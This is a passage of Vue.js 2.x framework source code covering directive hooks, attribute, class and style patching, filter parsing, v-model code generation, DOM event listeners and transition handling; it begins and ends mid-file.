if (dirsWithInsert.length) {
var callInsert = function () {
for (var i = 0; i < dirsWithInsert.length; i++) {
callHook$1(dirsWithInsert[i], 'inserted', vnode, oldVnode);
}
};
if (isCreate) {
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'insert', callInsert);
} else {
callInsert();
}
}
if (dirsWithPostpatch.length) {
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'postpatch', function () {
for (var i = 0; i < dirsWithPostpatch.length; i++) {
callHook$1(dirsWithPostpatch[i], 'componentUpdated', vnode, oldVnode);
}
});
}
if (!isCreate) {
for (key in oldDirs) {
if (!newDirs[key]) {
// no longer present, unbind
callHook$1(oldDirs[key], 'unbind', oldVnode, oldVnode, isDestroy);
}
}
}
}
var emptyModifiers = Object.create(null);
function normalizeDirectives$1 (
dirs,
vm
) {
var res = Object.create(null);
if (!dirs) {
return res
}
var i, dir;
for (i = 0; i < dirs.length; i++) {
dir = dirs[i];
if (!dir.modifiers) {
dir.modifiers = emptyModifiers;
}
res[getRawDirName(dir)] = dir;
dir.def = resolveAsset(vm.$options, 'directives', dir.name, true);
}
return res
}
function getRawDirName (dir) {
return dir.rawName || ((dir.name) + "." + (Object.keys(dir.modifiers || {}).join('.')))
}
function callHook$1 (dir, hook, vnode, oldVnode, isDestroy) {
var fn = dir.def && dir.def[hook];
if (fn) {
try {
fn(vnode.elm, dir, vnode, oldVnode, isDestroy);
} catch (e) {
handleError(e, vnode.context, ("directive " + (dir.name) + " " + hook + " hook"));
}
}
}
var baseModules = [
ref,
directives
];
/* */
function updateAttrs (oldVnode, vnode) {
if (isUndef(oldVnode.data.attrs) && isUndef(vnode.data.attrs)) {
return
}
var key, cur, old;
var elm = vnode.elm;
var oldAttrs = oldVnode.data.attrs || {};
var attrs = vnode.data.attrs || {};
// clone observed objects, as the user probably wants to mutate it
if (isDef(attrs.__ob__)) {
attrs = vnode.data.attrs = extend({}, attrs);
}
for (key in attrs) {
cur = attrs[key];
old = oldAttrs[key];
if (old !== cur) {
setAttr(elm, key, cur);
}
}
// #4391: in IE9, setting type can reset value for input[type=radio]
/* istanbul ignore if */
if (isIE9 && attrs.value !== oldAttrs.value) {
setAttr(elm, 'value', attrs.value);
}
for (key in oldAttrs) {
if (isUndef(attrs[key])) {
if (isXlink(key)) {
elm.removeAttributeNS(xlinkNS, getXlinkProp(key));
} else if (!isEnumeratedAttr(key)) {
elm.removeAttribute(key);
}
}
}
}
function setAttr (el, key, value) {
if (isBooleanAttr(key)) {
// set attribute for blank value
// e.g. <option disabled>Select one</option>
if (isFalsyAttrValue(value)) {
el.removeAttribute(key);
} else {
el.setAttribute(key, key);
}
} else if (isEnumeratedAttr(key)) {
el.setAttribute(key, isFalsyAttrValue(value) || value === 'false' ? 'false' : 'true');
} else if (isXlink(key)) {
if (isFalsyAttrValue(value)) {
el.removeAttributeNS(xlinkNS, getXlinkProp(key));
} else {
el.setAttributeNS(xlinkNS, key, value);
}
} else {
if (isFalsyAttrValue(value)) {
el.removeAttribute(key);
} else {
el.setAttribute(key, value);
}
}
}
var attrs = {
create: updateAttrs,
update: updateAttrs
};
/* */
function updateClass (oldVnode, vnode) {
var el = vnode.elm;
var data = vnode.data;
var oldData = oldVnode.data;
if (
isUndef(data.staticClass) &&
isUndef(data.class) && (
isUndef(oldData) || (
isUndef(oldData.staticClass) &&
isUndef(oldData.class)
)
)
) {
return
}
var cls = genClassForVnode(vnode);
// handle transition classes
var transitionClass = el._transitionClasses;
if (isDef(transitionClass)) {
cls = concat(cls, stringifyClass(transitionClass));
}
// set the class
if (cls !== el._prevClass) {
el.setAttribute('class', cls);
el._prevClass = cls;
}
}
var klass = {
create: updateClass,
update: updateClass
};
/* */
var validDivisionCharRE = /[\w).+\-_$\]]/;
function parseFilters (exp) {
var inSingle = false;
var inDouble = false;
var inTemplateString = false;
var inRegex = false;
var curly = 0;
var square = 0;
var paren = 0;
var lastFilterIndex = 0;
var c, prev, i, expression, filters;
for (i = 0; i < exp.length; i++) {
prev = c;
c = exp.charCodeAt(i);
if (inSingle) {
if (c === 0x27 && prev !== 0x5C) { inSingle = false; }
} else if (inDouble) {
if (c === 0x22 && prev !== 0x5C) { inDouble = false; }
} else if (inTemplateString) {
if (c === 0x60 && prev !== 0x5C) { inTemplateString = false; }
} else if (inRegex) {
if (c === 0x2f && prev !== 0x5C) { inRegex = false; }
} else if (
c === 0x7C && // pipe
exp.charCodeAt(i + 1) !== 0x7C &&
exp.charCodeAt(i - 1) !== 0x7C &&
!curly && !square && !paren
) {
if (expression === undefined) {
// first filter, end of expression
lastFilterIndex = i + 1;
expression = exp.slice(0, i).trim();
} else {
pushFilter();
}
} else {
switch (c) {
case 0x22: inDouble = true; break // "
case 0x27: inSingle = true; break // '
case 0x60: inTemplateString = true; break // `
case 0x28: paren++; break // (
case 0x29: paren--; break // )
case 0x5B: square++; break // [
case 0x5D: square--; break // ]
case 0x7B: curly++; break // {
case 0x7D: curly--; break // }
}
if (c === 0x2f) { // /
var j = i - 1;
var p = (void 0);
// find first non-whitespace prev char
for (; j >= 0; j--) {
p = exp.charAt(j);
if (p !== ' ') { break }
}
if (!p || !validDivisionCharRE.test(p)) {
inRegex = true;
}
}
}
}
if (expression === undefined) {
expression = exp.slice(0, i).trim();
} else if (lastFilterIndex !== 0) {
pushFilter();
}
function pushFilter () {
(filters || (filters = [])).push(exp.slice(lastFilterIndex, i).trim());
lastFilterIndex = i + 1;
}
if (filters) {
for (i = 0; i < filters.length; i++) {
expression = wrapFilter(expression, filters[i]);
}
}
return expression
}
function wrapFilter (exp, filter) {
var i = filter.indexOf('(');
if (i < 0) {
// _f: resolveFilter
return ("_f(\"" + filter + "\")(" + exp + ")")
} else {
var name = filter.slice(0, i);
var args = filter.slice(i + 1);
return ("_f(\"" + name + "\")(" + exp + "," + args)
}
}
/* */
function baseWarn (msg) {
console.error(("[Vue compiler]: " + msg));
}
function pluckModuleFunction (
modules,
key
) {
return modules
? modules.map(function (m) { return m[key]; }).filter(function (_) { return _; })
: []
}
function addProp (el, name, value) {
(el.props || (el.props = [])).push({ name: name, value: value });
}
function addAttr (el, name, value) {
(el.attrs || (el.attrs = [])).push({ name: name, value: value });
}
function addDirective (
el,
name,
rawName,
value,
arg,
modifiers
) {
(el.directives || (el.directives = [])).push({ name: name, rawName: rawName, value: value, arg: arg, modifiers: modifiers });
}
function addHandler (
el,
name,
value,
modifiers,
important,
warn
) {
// warn prevent and passive modifier
/* istanbul ignore if */
if (
process.env.NODE_ENV !== 'production' && warn &&
modifiers && modifiers.prevent && modifiers.passive
) {
warn(
'passive and prevent can\'t be used together. ' +
'Passive handler can\'t prevent default event.'
);
}
// check capture modifier
if (modifiers && modifiers.capture) {
delete modifiers.capture;
name = '!' + name; // mark the event as captured
}
if (modifiers && modifiers.once) {
delete modifiers.once;
name = '~' + name; // mark the event as once
}
/* istanbul ignore if */
if (modifiers && modifiers.passive) {
delete modifiers.passive;
name = '&' + name; // mark the event as passive
}
var events;
if (modifiers && modifiers.native) {
delete modifiers.native;
events = el.nativeEvents || (el.nativeEvents = {});
} else {
events = el.events || (el.events = {});
}
var newHandler = { value: value, modifiers: modifiers };
var handlers = events[name];
/* istanbul ignore if */
if (Array.isArray(handlers)) {
important ? handlers.unshift(newHandler) : handlers.push(newHandler);
} else if (handlers) {
events[name] = important ? [newHandler, handlers] : [handlers, newHandler];
} else {
events[name] = newHandler;
}
}
function getBindingAttr (
el,
name,
getStatic
) {
var dynamicValue =
getAndRemoveAttr(el, ':' + name) ||
getAndRemoveAttr(el, 'v-bind:' + name);
if (dynamicValue != null) {
return parseFilters(dynamicValue)
} else if (getStatic !== false) {
var staticValue = getAndRemoveAttr(el, name);
if (staticValue != null) {
return JSON.stringify(staticValue)
}
}
}
function getAndRemoveAttr (el, name) {
var val;
if ((val = el.attrsMap[name]) != null) {
var list = el.attrsList;
for (var i = 0, l = list.length; i < l; i++) {
if (list[i].name === name) {
list.splice(i, 1);
break
}
}
}
return val
}
/* */
/**
* Cross-platform code generation for component v-model
*/
function genComponentModel (
el,
value,
modifiers
) {
var ref = modifiers || {};
var number = ref.number;
var trim = ref.trim;
var baseValueExpression = '$$v';
var valueExpression = baseValueExpression;
if (trim) {
valueExpression =
"(typeof " + baseValueExpression + " === 'string'" +
"? " + baseValueExpression + ".trim()" +
": " + baseValueExpression + ")";
}
if (number) {
valueExpression = "_n(" + valueExpression + ")";
}
var assignment = genAssignmentCode(value, valueExpression);
el.model = {
value: ("(" + value + ")"),
expression: ("\"" + value + "\""),
callback: ("function (" + baseValueExpression + ") {" + assignment + "}")
};
}
/**
* Cross-platform codegen helper for generating v-model value assignment code.
*/
function genAssignmentCode (
value,
assignment
) {
var modelRs = parseModel(value);
if (modelRs.idx === null) {
return (value + "=" + assignment)
} else {
return "var $$exp = " + (modelRs.exp) + ", $$idx = " + (modelRs.idx) + ";" +
"if (!Array.isArray($$exp)){" +
value + "=" + assignment + "}" +
"else{$$exp.splice($$idx, 1, " + assignment + ")}"
}
}
/**
* parse directive model to do the array update transform. a[idx] = val => $$a.splice($$idx, 1, val)
*
* for loop possible cases:
*
* - test
* - test[idx]
* - test[test1[idx]]
* - test["a"][idx]
* - xxx.test[a[a].test1[idx]]
* - test.xxx.a["asa"][test1[idx]]
*
*/
var len;
var str;
var chr;
var index$1;
var expressionPos;
var expressionEndPos;
function parseModel (val) {
str = val;
len = str.length;
index$1 = expressionPos = expressionEndPos = 0;
if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {
return {
exp: val,
idx: null
}
}
while (!eof()) {
chr = next();
/* istanbul ignore if */
if (isStringStart(chr)) {
parseString(chr);
} else if (chr === 0x5B) {
parseBracket(chr);
}
}
return {
exp: val.substring(0, expressionPos),
idx: val.substring(expressionPos + 1, expressionEndPos)
}
}
function next () {
return str.charCodeAt(++index$1)
}
function eof () {
return index$1 >= len
}
function isStringStart (chr) {
return chr === 0x22 || chr === 0x27
}
function parseBracket (chr) {
var inBracket = 1;
expressionPos = index$1;
while (!eof()) {
chr = next();
if (isStringStart(chr)) {
parseString(chr);
continue
}
if (chr === 0x5B) { inBracket++; }
if (chr === 0x5D) { inBracket--; }
if (inBracket === 0) {
expressionEndPos = index$1;
break
}
}
}
function parseString (chr) {
var stringQuote = chr;
while (!eof()) {
chr = next();
if (chr === stringQuote) {
break
}
}
}
/* */
var warn$1;
// in some cases, the event used has to be determined at runtime
// so we used some reserved tokens during compile.
var RANGE_TOKEN = '__r';
var CHECKBOX_RADIO_TOKEN = '__c';
function model (
el,
dir,
_warn
) {
warn$1 = _warn;
var value = dir.value;
var modifiers = dir.modifiers;
var tag = el.tag;
var type = el.attrsMap.type;
if (process.env.NODE_ENV !== 'production') {
var dynamicType = el.attrsMap['v-bind:type'] || el.attrsMap[':type'];
if (tag === 'input' && dynamicType) {
warn$1(
"<input :type=\"" + dynamicType + "\" v-model=\"" + value + "\">:\n" +
"v-model does not support dynamic input types. Use v-if branches instead."
);
}
// inputs with type="file" are read only and setting the input's
// value will throw an error.
if (tag === 'input' && type === 'file') {
warn$1(
"<" + (el.tag) + " v-model=\"" + value + "\" type=\"file\">:\n" +
"File inputs are read only. Use a v-on:change listener instead."
);
}
}
if (tag === 'select') {
genSelect(el, value, modifiers);
} else if (tag === 'input' && type === 'checkbox') {
genCheckboxModel(el, value, modifiers);
} else if (tag === 'input' && type === 'radio') {
genRadioModel(el, value, modifiers);
} else if (tag === 'input' || tag === 'textarea') {
genDefaultModel(el, value, modifiers);
} else if (!config.isReservedTag(tag)) {
genComponentModel(el, value, modifiers);
// component v-model doesn't need extra runtime
return false
} else if (process.env.NODE_ENV !== 'production') {
warn$1(
"<" + (el.tag) + " v-model=\"" + value + "\">: " +
"v-model is not supported on this element type. " +
'If you are working with contenteditable, it\'s recommended to ' +
'wrap a library dedicated for that purpose inside a custom component.'
);
}
// ensure runtime directive metadata
return true
}
function genCheckboxModel (
el,
value,
modifiers
) {
var number = modifiers && modifiers.number;
var valueBinding = getBindingAttr(el, 'value') || 'null';
var trueValueBinding = getBindingAttr(el, 'true-value') || 'true';
var falseValueBinding = getBindingAttr(el, 'false-value') || 'false';
addProp(el, 'checked',
"Array.isArray(" + value + ")" +
"?_i(" + value + "," + valueBinding + ")>-1" + (
trueValueBinding === 'true'
? (":(" + value + ")")
: (":_q(" + value + "," + trueValueBinding + ")")
)
);
addHandler(el, CHECKBOX_RADIO_TOKEN,
"var $$a=" + value + "," +
'$$el=$event.target,' +
"$$c=$$el.checked?(" + trueValueBinding + "):(" + falseValueBinding + ");" +
'if(Array.isArray($$a)){' +
"var $$v=" + (number ? '_n(' + valueBinding + ')' : valueBinding) + "," +
'$$i=_i($$a,$$v);' +
"if($$c){$$i<0&&(" + value + "=$$a.concat($$v))}" +
"else{$$i>-1&&(" + value + "=$$a.slice(0,$$i).concat($$a.slice($$i+1)))}" +
"}else{" + (genAssignmentCode(value, '$$c')) + "}",
null, true
);
}
function genRadioModel (
el,
value,
modifiers
) {
var number = modifiers && modifiers.number;
var valueBinding = getBindingAttr(el, 'value') || 'null';
valueBinding = number ? ("_n(" + valueBinding + ")") : valueBinding;
addProp(el, 'checked', ("_q(" + value + "," + valueBinding + ")"));
addHandler(el, CHECKBOX_RADIO_TOKEN, genAssignmentCode(value, valueBinding), null, true);
}
function genSelect (
el,
value,
modifiers
) {
var number = modifiers && modifiers.number;
var selectedVal = "Array.prototype.filter" +
".call($event.target.options,function(o){return o.selected})" +
".map(function(o){var val = \"_value\" in o ? o._value : o.value;" +
"return " + (number ? '_n(val)' : 'val') + "})";
var assignment = '$event.target.multiple ? $$selectedVal : $$selectedVal[0]';
var code = "var $$selectedVal = " + selectedVal + ";";
code = code + " " + (genAssignmentCode(value, assignment));
addHandler(el, 'change', code, null, true);
}
function genDefaultModel (
el,
value,
modifiers
) {
var type = el.attrsMap.type;
var ref = modifiers || {};
var lazy = ref.lazy;
var number = ref.number;
var trim = ref.trim;
var needCompositionGuard = !lazy && type !== 'range';
var event = lazy
? 'change'
: type === 'range'
? RANGE_TOKEN
: 'input';
var valueExpression = '$event.target.value';
if (trim) {
valueExpression = "$event.target.value.trim()";
}
if (number) {
valueExpression = "_n(" + valueExpression + ")";
}
var code = genAssignmentCode(value, valueExpression);
if (needCompositionGuard) {
code = "if($event.target.composing)return;" + code;
}
addProp(el, 'value', ("(" + value + ")"));
addHandler(el, event, code, null, true);
if (trim || number || type === 'number') {
addHandler(el, 'blur', '$forceUpdate()');
}
}
/* */
// normalize v-model event tokens that can only be determined at runtime.
// it's important to place the event as the first in the array because
// the whole point is ensuring the v-model callback gets called before
// user-attached handlers.
function normalizeEvents (on) {
var event;
/* istanbul ignore if */
if (isDef(on[RANGE_TOKEN])) {
// IE input[type=range] only supports `change` event
event = isIE ? 'change' : 'input';
on[event] = [].concat(on[RANGE_TOKEN], on[event] || []);
delete on[RANGE_TOKEN];
}
if (isDef(on[CHECKBOX_RADIO_TOKEN])) {
// Chrome fires microtasks in between click/change, leads to #4521
event = isChrome ? 'click' : 'change';
on[event] = [].concat(on[CHECKBOX_RADIO_TOKEN], on[event] || []);
delete on[CHECKBOX_RADIO_TOKEN];
}
}
var target$1;
function add$1 (
event,
handler,
once$$1,
capture,
passive
) {
if (once$$1) {
var oldHandler = handler;
var _target = target$1; // save current target element in closure
handler = function (ev) {
var res = arguments.length === 1
? oldHandler(ev)
: oldHandler.apply(null, arguments);
if (res !== null) {
remove$2(event, handler, capture, _target);
}
};
}
target$1.addEventListener(
event,
handler,
supportsPassive
? { capture: capture, passive: passive }
: capture
);
}
function remove$2 (
event,
handler,
capture,
_target
) {
(_target || target$1).removeEventListener(event, handler, capture);
}
function updateDOMListeners (oldVnode, vnode) {
if (isUndef(oldVnode.data.on) && isUndef(vnode.data.on)) {
return
}
var on = vnode.data.on || {};
var oldOn = oldVnode.data.on || {};
target$1 = vnode.elm;
normalizeEvents(on);
updateListeners(on, oldOn, add$1, remove$2, vnode.context);
}
var events = {
create: updateDOMListeners,
update: updateDOMListeners
};
/* */
function updateDOMProps (oldVnode, vnode) {
if (isUndef(oldVnode.data.domProps) && isUndef(vnode.data.domProps)) {
return
}
var key, cur;
var elm = vnode.elm;
var oldProps = oldVnode.data.domProps || {};
var props = vnode.data.domProps || {};
// clone observed objects, as the user probably wants to mutate it
if (isDef(props.__ob__)) {
props = vnode.data.domProps = extend({}, props);
}
for (key in oldProps) {
if (isUndef(props[key])) {
elm[key] = '';
}
}
for (key in props) {
cur = props[key];
// ignore children if the node has textContent or innerHTML,
// as these will throw away existing DOM nodes and cause removal errors
// on subsequent patches (#3360)
if (key === 'textContent' || key === 'innerHTML') {
if (vnode.children) { vnode.children.length = 0; }
if (cur === oldProps[key]) { continue }
}
if (key === 'value') {
// store value as _value as well since
// non-string values will be stringified
elm._value = cur;
// avoid resetting cursor position when value is the same
var strCur = isUndef(cur) ? '' : String(cur);
if (shouldUpdateValue(elm, vnode, strCur)) {
elm.value = strCur;
}
} else {
elm[key] = cur;
}
}
}
// check platforms/web/util/attrs.js acceptValue
function shouldUpdateValue (
elm,
vnode,
checkVal
) {
return (!elm.composing && (
vnode.tag === 'option' ||
isDirty(elm, checkVal) ||
isInputChanged(elm, checkVal)
))
}
function isDirty (elm, checkVal) {
// return true when textbox (.number and .trim) loses focus and its value is not equal to the updated value
return document.activeElement !== elm && elm.value !== checkVal
}
function isInputChanged (elm, newVal) {
var value = elm.value;
var modifiers = elm._vModifiers; // injected by v-model runtime
if ((isDef(modifiers) && modifiers.number) || elm.type === 'number') {
return toNumber(value) !== toNumber(newVal)
}
if (isDef(modifiers) && modifiers.trim) {
return value.trim() !== newVal.trim()
}
return value !== newVal
}
var domProps = {
create: updateDOMProps,
update: updateDOMProps
};
/* */
var parseStyleText = cached(function (cssText) {
var res = {};
var listDelimiter = /;(?![^(]*\))/g;
var propertyDelimiter = /:(.+)/;
cssText.split(listDelimiter).forEach(function (item) {
if (item) {
var tmp = item.split(propertyDelimiter);
tmp.length > 1 && (res[tmp[0].trim()] = tmp[1].trim());
}
});
return res
});
// merge static and dynamic style data on the same vnode
function normalizeStyleData (data) {
var style = normalizeStyleBinding(data.style);
// static style is pre-processed into an object during compilation
// and is always a fresh object, so it's safe to merge into it
return data.staticStyle
? extend(data.staticStyle, style)
: style
}
// normalize possible array / string values into Object
function normalizeStyleBinding (bindingStyle) {
if (Array.isArray(bindingStyle)) {
return toObject(bindingStyle)
}
if (typeof bindingStyle === 'string') {
return parseStyleText(bindingStyle)
}
return bindingStyle
}
/**
* parent component style should be after child's
* so that parent component's style could override it
*/
function getStyle (vnode, checkChild) {
var res = {};
var styleData;
if (checkChild) {
var childNode = vnode;
while (childNode.componentInstance) {
childNode = childNode.componentInstance._vnode;
if (childNode.data && (styleData = normalizeStyleData(childNode.data))) {
extend(res, styleData);
}
}
}
if ((styleData = normalizeStyleData(vnode.data))) {
extend(res, styleData);
}
var parentNode = vnode;
while ((parentNode = parentNode.parent)) {
if (parentNode.data && (styleData = normalizeStyleData(parentNode.data))) {
extend(res, styleData);
}
}
return res
}
/* */
var cssVarRE = /^--/;
var importantRE = /\s*!important$/;
var setProp = function (el, name, val) {
/* istanbul ignore if */
if (cssVarRE.test(name)) {
el.style.setProperty(name, val);
} else if (importantRE.test(val)) {
el.style.setProperty(name, val.replace(importantRE, ''), 'important');
} else {
var normalizedName = normalize(name);
if (Array.isArray(val)) {
// Support values array created by autoprefixer, e.g.
// {display: ["-webkit-box", "-ms-flexbox", "flex"]}
// Set them one by one, and the browser will only set those it can recognize
for (var i = 0, len = val.length; i < len; i++) {
el.style[normalizedName] = val[i];
}
} else {
el.style[normalizedName] = val;
}
}
};
var prefixes = ['Webkit', 'Moz', 'ms'];
var testEl;
var normalize = cached(function (prop) {
testEl = testEl || document.createElement('div');
prop = camelize(prop);
if (prop !== 'filter' && (prop in testEl.style)) {
return prop
}
var upper = prop.charAt(0).toUpperCase() + prop.slice(1);
for (var i = 0; i < prefixes.length; i++) {
var prefixed = prefixes[i] + upper;
if (prefixed in testEl.style) {
return prefixed
}
}
});
function updateStyle (oldVnode, vnode) {
var data = vnode.data;
var oldData = oldVnode.data;
if (isUndef(data.staticStyle) && isUndef(data.style) &&
isUndef(oldData.staticStyle) && isUndef(oldData.style)
) {
return
}
var cur, name;
var el = vnode.elm;
var oldStaticStyle = oldData.staticStyle;
var oldStyleBinding = oldData.normalizedStyle || oldData.style || {};
// if static style exists, stylebinding already merged into it when doing normalizeStyleData
var oldStyle = oldStaticStyle || oldStyleBinding;
var style = normalizeStyleBinding(vnode.data.style) || {};
// store normalized style under a different key for next diff
// make sure to clone it if it's reactive, since the user likley wants
// to mutate it.
vnode.data.normalizedStyle = isDef(style.__ob__)
? extend({}, style)
: style;
var newStyle = getStyle(vnode, true);
for (name in oldStyle) {
if (isUndef(newStyle[name])) {
setProp(el, name, '');
}
}
for (name in newStyle) {
cur = newStyle[name];
if (cur !== oldStyle[name]) {
// ie9 setting to null has no effect, must use empty string
setProp(el, name, cur == null ? '' : cur);
}
}
}
var style = {
create: updateStyle,
update: updateStyle
};
/* */
/**
* Add class with compatibility for SVG since classList is not supported on
* SVG elements in IE
*/
function addClass (el, cls) {
/* istanbul ignore if */
if (!cls || !(cls = cls.trim())) {
return
}
/* istanbul ignore else */
if (el.classList) {
if (cls.indexOf(' ') > -1) {
cls.split(/\s+/).forEach(function (c) { return el.classList.add(c); });
} else {
el.classList.add(cls);
}
} else {
var cur = " " + (el.getAttribute('class') || '') + " ";
if (cur.indexOf(' ' + cls + ' ') < 0) {
el.setAttribute('class', (cur + cls).trim());
}
}
}
/**
* Remove class with compatibility for SVG since classList is not supported on
* SVG elements in IE
*/
function removeClass (el, cls) {
/* istanbul ignore if */
if (!cls || !(cls = cls.trim())) {
return
}
/* istanbul ignore else */
if (el.classList) {
if (cls.indexOf(' ') > -1) {
cls.split(/\s+/).forEach(function (c) { return el.classList.remove(c); });
} else {
el.classList.remove(cls);
}
} else {
var cur = " " + (el.getAttribute('class') || '') + " ";
var tar = ' ' + cls + ' ';
while (cur.indexOf(tar) >= 0) {
cur = cur.replace(tar, ' ');
}
el.setAttribute('class', cur.trim());
}
}
/* */
function resolveTransition (def$$1) {
if (!def$$1) {
return
}
/* istanbul ignore else */
if (typeof def$$1 === 'object') {
var res = {};
if (def$$1.css !== false) {
extend(res, autoCssTransition(def$$1.name || 'v'));
}
extend(res, def$$1);
return res
} else if (typeof def$$1 === 'string') {
return autoCssTransition(def$$1)
}
}
var autoCssTransition = cached(function (name) {
return {
enterClass: (name + "-enter"),
enterToClass: (name + "-enter-to"),
enterActiveClass: (name + "-enter-active"),
leaveClass: (name + "-leave"),
leaveToClass: (name + "-leave-to"),
leaveActiveClass: (name + "-leave-active")
}
});
var hasTransition = inBrowser && !isIE9;
var TRANSITION = 'transition';
var ANIMATION = 'animation';
// Transition property/event sniffing
var transitionProp = 'transition';
var transitionEndEvent = 'transitionend';
var animationProp = 'animation';
var animationEndEvent = 'animationend';
if (hasTransition) {
/* istanbul ignore if */
if (window.ontransitionend === undefined &&
window.onwebkittransitionend !== undefined
) {
transitionProp = 'WebkitTransition';
transitionEndEvent = 'webkitTransitionEnd';
}
if (window.onanimationend === undefined &&
window.onwebkitanimationend !== undefined
) {
animationProp = 'WebkitAnimation';
animationEndEvent = 'webkitAnimationEnd';
}
}
// binding to window is necessary to make hot reload work in IE in strict mode
var raf = inBrowser && window.requestAnimationFrame
? window.requestAnimationFrame.bind(window)
: setTimeout;
function nextFrame (fn) {
raf(function () {
raf(fn);
});
}
function addTransitionClass (el, cls) {
(el._transitionClasses || (el._transitionClasses = [])).push(cls);
addClass(el, cls);
}
function removeTransitionClass (el, cls) {
if (el._transitionClasses) {
remove(el._transitionClasses, cls);
}
removeClass(el, cls);
}
function whenTransitionEnds (
el,
expectedType,
cb
) {
var ref = getTransitionInfo(el, expectedType);
var type = ref.type;
var timeout = ref.timeout;
var propCount = ref.propCount;
if (!type) { return cb() }
var event = type === TRANSITION ? transitionEndEvent : animationEndEvent;
var ended = 0;
var end = function () {
el.removeEventListener(event, onEnd);
cb();
};
var onEnd = function (e) {
if (e.target === el) {
if (++ended >= propCount) {
end();
}
}
};
setTimeout(function () {
if (ended < propCount) {
end();
}
}, timeout + 1);
el.addEventListener(event, onEnd);
}
var transformRE = /\b(transform|all)(,|$)/;
function getTransitionInfo (el, expectedType) {
var styles = window.getComputedStyle(el);
var transitionDelays = styles[transitionProp + 'Delay'].split(', ');
var transitionDurations = styles[transitionProp + 'Duration'].split(', ');
var transitionTimeout = getTimeout(transitionDelays, transitionDurations);
var animationDelays = styles[animationProp + 'Delay'].split(', ');
var animationDurations = styles[animationProp + 'Duration'].split(', ');
var animationTimeout = getTimeout(animationDelays, animationDurations);
var type;
var timeout = 0;
var propCount = 0;
/* istanbul ignore if */
if (expectedType === TRANSITION) {
if (transitionTimeout > 0) {
type = TRANSITION;
timeout = transitionTimeout;
propCount = transitionDurations.length;
}
} else if (expectedType === ANIMATION) {
if (animationTimeout > 0) {
type = ANIMATION;
timeout = animationTimeout;
propCount = animationDurations.length;
}
} else {
timeout = Math.max(transitionTimeout, animationTimeout);
type = timeout > 0
? transitionTimeout > animationTimeout
? TRANSITION
: ANIMATION
: null;
propCount = type
? type === TRANSITION
? transitionDurations.length
: animationDurations.length
: 0;
}
var hasTransform =
type === TRANSITION &&
transformRE.test(styles[transitionProp + 'Property']);
return {
type: type,
timeout: timeout,
propCount: propCount,
hasTransform: hasTransform
}
}
function getTimeout (delays, durations) {
/* istanbul ignore next */
while (delays.length < durations.length) {
delays = delays.concat(delays);
}
return Math.max.apply(null, durations.map(function (d, i) {
return toMs(d) + toMs(delays[i])
}))
}
function toMs (s) {
return Number(s.slice(0, -1)) * 1000
}
/* */
function enter (vnode, toggleDisplay) {
var el = vnode.elm;
// call leave callback now
if (isDef(el._leaveCb)) {
el._leaveCb.cancelled = true;
el._leaveCb();
}
var data = resolveTransition(vnode.data.transition);
if (isUndef(data)) {
return
}
/* istanbul ignore if */
if (isDef(el._enterCb) || el.nodeType !== 1) {
return
}
var css = data.css;
var type = data.type;
var enterClass = data.enterClass;
var enterToClass = data.enterToClass;
var enterActiveClass = data.enterActiveClass;
var appearClass = data.appearClass;
var appearToClass = data.appearToClass;
var appearActiveClass = data.appearActiveClass;
var beforeEnter = data.beforeEnter;
var enter = data.enter;
var afterEnter = data.afterEnter;
var enterCancelled = data.enterCancelled;
var beforeAppear = data.beforeAppear;
var appear = data.appear;
var afterAppear = data.afterAppear;
var appearCancelled = data.appearCancelled;
var duration = data.duration;
// activeInstance will always be the <transition> component managing this
// transition. One edge case to check is when the <transition> is placed
// as the root node of a child component. In that case we need to check
// <transition>'s parent for appear check.
var context = activeInstance;
var transitionNode = activeInstance.$vnode;
while (transitionNode && transitionNode.parent) {
transitionNode = transitionNode.parent;
context = transitionNode.context;
}
var isAppear = !context._isMounted || !vnode.isRootInsert;
if (isAppear && !appear && appear !== '') {
return
}
var startClass = isAppear && appearClass
? appearClass
: enterClass;
var activeClass = isAppear && appearActiveClass
? appearActiveClass
: enterActiveClass;
var toClass = isAppear && appearToClass
? appearToClass
: enterToClass;
var beforeEnterHook = isAppear
? (beforeAppear || beforeEnter)
: beforeEnter;
var enterHook = isAppear
? (typeof appear === 'function' ? appear : enter)
: enter;
var afterEnterHook = isAppear
? (afterAppear || afterEnter)
: afterEnter;
var enterCancelledHook = isAppear
? (appearCancelled || enterCancelled)
: enterCancelled;
var explicitEnterDuration = toNumber(
isObject(duration)
? duration.enter
: duration
);
if (process.env.NODE_ENV !== 'production' && explicitEnterDuration != null) {
checkDuration(explicitEnterDuration, 'enter', vnode);
}
var expectsCSS = css !== false && !isIE9;
var userWantsControl = getHookArgumentsLength(enterHook);
var cb = el._enterCb = once(function () {
if (expectsCSS) {
removeTransitionClass(el, toClass);
removeTransitionClass(el, activeClass);
}
if (cb.cancelled) {
if (expectsCSS) {
removeTransitionClass(el, startClass);
}
enterCancelledHook && enterCancelledHook(el);
} else {
afterEnterHook && afterEnterHook(el);
}
el._enterCb = null;
});
if (!vnode.data.show) {
// remove pending leave element on enter by injecting an insert hook
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'insert', function () {
var parent = el.parentNode;
var pendingNode = parent && parent._pending && parent._pending[vnode.key];
if (pendingNode &&
pendingNode.tag === vnode.tag &&
pendingNode.elm._leaveCb
) {
pendingNode.elm._leaveCb();
}
enterHook && enterHook(el, cb);
});
}
// start enter transition
beforeEnterHook && beforeEnterHook(el);
if (expectsCSS) {
addTransitionClass(el, startClass);
addTransitionClass(el, activeClass);
nextFrame(function () {
addTransitionClass(el, toClass);
removeTransitionClass(el, startClass);
if (!cb.cancelled && !userWantsControl) {
if (isValidDuration(explicitEnterDuration)) {
setTimeout(cb, explicitEnterDuration);
} else {
whenTransitionEnds(el, type, cb);
}
}
});
}
if (vnode.data.show) {
toggleDisplay && toggleDisplay();
enterHook && enterHook(el, cb);
}
if (!expectsCSS && !userWantsControl) {
cb();
}
}
function leave (vnode, rm) {
var el = vnode.elm;
// call enter callback now
if (isDef(el._enterCb)) {
el._enterCb.cancelled = true;
el._enterCb();
}
var data = resolveTransition(vnode.data.transition);
if (isUndef(data)) {
return rm()
}
/* istanbul ignore if */
if (isDef(el._leaveCb) || el.nodeType !== 1) {
return
}
var css = data.css;
var type = data.type;
var leaveClass = data.leaveClass;
var leaveToClass = data.leaveToClass;
var leaveActiveClass = data.leaveActiveClass;
var beforeLeave = data.beforeLeave;
var leave = data.leave;
var afterLeave = data.afterLeave;
var leaveCancelled = data.leaveCancelled;
var delayLeave = data.delayLeave;
